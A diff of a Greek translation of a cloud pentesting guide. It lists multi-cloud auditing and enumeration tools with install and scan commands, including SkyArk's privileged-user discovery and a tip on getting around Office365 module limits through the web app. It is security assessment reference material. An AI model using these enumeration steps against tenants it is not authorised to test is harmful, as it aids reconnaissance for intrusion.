χρησιμοποιούνται αυτά τα δεδομένα.\ +Για παράδειγμα, αν μια υπηρεσία χρησιμοποιεί μια Docker image που φιλοξενείται σε GCR, πρέπει να ρωτήσεις ποιος έχει πρόσβαση να την τροποποιήσει και ποιες ευαίσθητες πληροφορίες και πρόσβαση θα αποκτήσει αυτή η image όταν εκτελεστεί μέσα σε ένα AWS cloud. -## Multi-Cloud εργαλεία +## Εργαλεία Multi-Cloud -Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσετε διαφορετικά περιβάλλοντα cloud. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφερθούν σε αυτή την ενότητα. +Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσουν διαφορετικά cloud περιβάλλοντα. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφέρονται σε αυτή την ενότητα. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Ένα εργαλείο για να **εντοπίζει κακές διαμορφώσεις και privesc path σε clouds και μεταξύ clouds/SaaS.** +A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -146,7 +146,7 @@ done {{#tabs }} {{#tab name="Install" }} -Κατεβάστε και εγκαταστήστε Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ή χρησιμοποιήστε Brew: +Κατεβάστε και εγκαταστήστε το Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ή χρησιμοποιήστε Brew: ``` brew tap turbot/tap brew install steampipe @@ -168,9 +168,9 @@ steampipe check all ```
-Έλεγχος όλων των Projects +Ελέγξτε όλα τα Projects -Για να ελέγξετε όλα τα projects πρέπει να δημιουργήσετε το αρχείο `gcp.spc` που υποδεικνύει όλα τα projects για δοκιμή. Μπορείτε απλά να ακολουθήσετε τις οδηγίες από το παρακάτω script +Για να ελέγξετε όλα τα έργα πρέπει να δημιουργήσετε το αρχείο `gcp.spc` που υποδεικνύει όλα τα έργα προς δοκιμή. Μπορείτε απλώς να ακολουθήσετε τις οδηγίες από το ακόλουθο script ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,9 +194,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Για να δείτε άλλες πληροφορίες GCP (χρήσιμες για την ανακάλυψη υπηρεσιών) χρησιμοποιήστε: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Για να δείτε άλλες πληροφορίες GCP (χρήσιμες για την καταγραφή υπηρεσιών) χρησιμοποιήστε: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Για να ελέγξετε Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Για να δείτε Terraform GCP κώδικα: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) Περισσότερα GCP plugins του Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} @@ -225,20 +225,20 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Για να ελέγξετε τον κώδικα Terraform για AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Για έλεγχο του Terraform AWS κώδικα: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Περισσότερα AWS plugins για το Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Περισσότερα AWS plugins του Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) -AWS, GCP, Azure, DigitalOcean.\ +Υποστηρίζει AWS, GCP, Azure, DigitalOcean.\ Απαιτεί python2.7 και φαίνεται μη συντηρούμενο. ### Nessus -Ο Nessus έχει μια σάρωση _**Audit Cloud Infrastructure**_ που υποστηρίζει: AWS, Azure, Office 365, Rackspace, Salesforce. Χρειάζονται επιπλέον ρυθμίσεις στο **Azure** για να αποκτήσετε ένα **Client Id**. +Το Nessus διαθέτει μια σάρωση _**Audit Cloud Infrastructure**_ που υποστηρίζει: AWS, Azure, Office 365, Rackspace, Salesforce. Απαιτούνται μερικές επιπλέον ρυθμίσεις στο **Azure** για να ληφθεί ένα **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography είναι ένα εργαλείο Python που συγκεντρώνει πόρους υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική προβολή γράφου που υποστηρίζεται από μια βάση δεδομένων Neo4j. +Το Cartography είναι ένα εργαλείο Python που συγκεντρώνει στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική προβολή γράφου υποστηριζόμενη από βάση δεδομένων Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Το Starbase συλλέγει περιουσιακά στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένης της υποδομής cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική προβολή γράφου υποστηριζόμενη από τη βάση δεδομένων Neo4j. +Το Starbase συλλέγει στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένων υποδομών cloud, εφαρμογών SaaS, μηχανισμών ελέγχου ασφαλείας και άλλων, σε μια διαισθητική προβολή γράφου υποστηριζόμενη από τη βάση δεδομένων Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Ανακαλύψτε τους πιο προνομιακούς χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell. +Εντοπίζει τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +372,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Ένα εργαλείο για να εντοπίζει την υποδομή μιας εταιρείας (στόχου), αρχεία και εφαρμογές στους κορυφαίους cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Ένα εργαλείο για να εντοπίζει την υποδομή, αρχεία και εφαρμογές μιας εταιρείας (target) στους κορυφαίους παρόχους cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- Το CloudFox είναι ένα εργαλείο για να βρει exploitable attack paths στην υποδομή cloud (προς το παρόν υποστηρίζονται μόνο AWS & Azure, με GCP προσεχώς). -- Είναι ένα enumeration tool που προορίζεται να συμπληρώσει το manual pentesting. -- Δεν δημιουργεί ούτε τροποποιεί δεδομένα μέσα στο cloud environment. +- CloudFox είναι ένα εργαλείο για να βρίσκει exploitable attack paths σε cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). +- Είναι ένα enumeration tool που προορίζεται να συμπληρώνει το manual pentesting. +- Δεν δημιουργεί ούτε τροποποιεί δεδομένα εντός του cloud περιβάλλοντος. -### More lists of cloud security tools +### Περισσότερες λίστες εργαλείων ασφάλειας cloud - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -412,11 +412,11 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “attack graph” των resources σε μια Azure subscription. Επιτρέπει σε red teams και pentesters να οπτικοποιήσουν το attack surface και τις pivot opportunities μέσα σε ένα tenant, και ενισχύει τους defenders ώστε να οργανώσουν και να προτεραιοποιήσουν γρήγορα το incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “attack graph” των πόρων σε μία Azure subscription. Επιτρέπει σε red teams και pentesters να οπτικοποιήσουν την attack surface και τις ευκαιρίες pivot μέσα σε έναν tenant, και επιταχύνει τους defenders να προσανατολιστούν και να ιεραρχήσουν γρήγορα το incident response. ### Office365 -Χρειάζεστε **Global Admin** ή τουλάχιστον **Global Admin Reader** (σημειώστε ότι το Global Admin Reader είναι λίγο περιορισμένο). Ωστόσο, αυτοί οι περιορισμοί εμφανίζονται σε μερικά PS modules και μπορούν να παρακαμφθούν προσπελάζοντας τις λειτουργίες **μέσω της web εφαρμογής**. +Χρειάζεστε **Global Admin** ή τουλάχιστον **Global Admin Reader** (αλλά να σημειωθεί ότι το Global Admin Reader είναι λίγο περιορισμένο). Ωστόσο, αυτοί οι περιορισμοί εμφανίζονται σε μερικά PS modules και μπορούν να παρακαμφθούν με πρόσβαση στις λειτουργίες **via the web application**. {{#include ../banners/hacktricks-training.md}}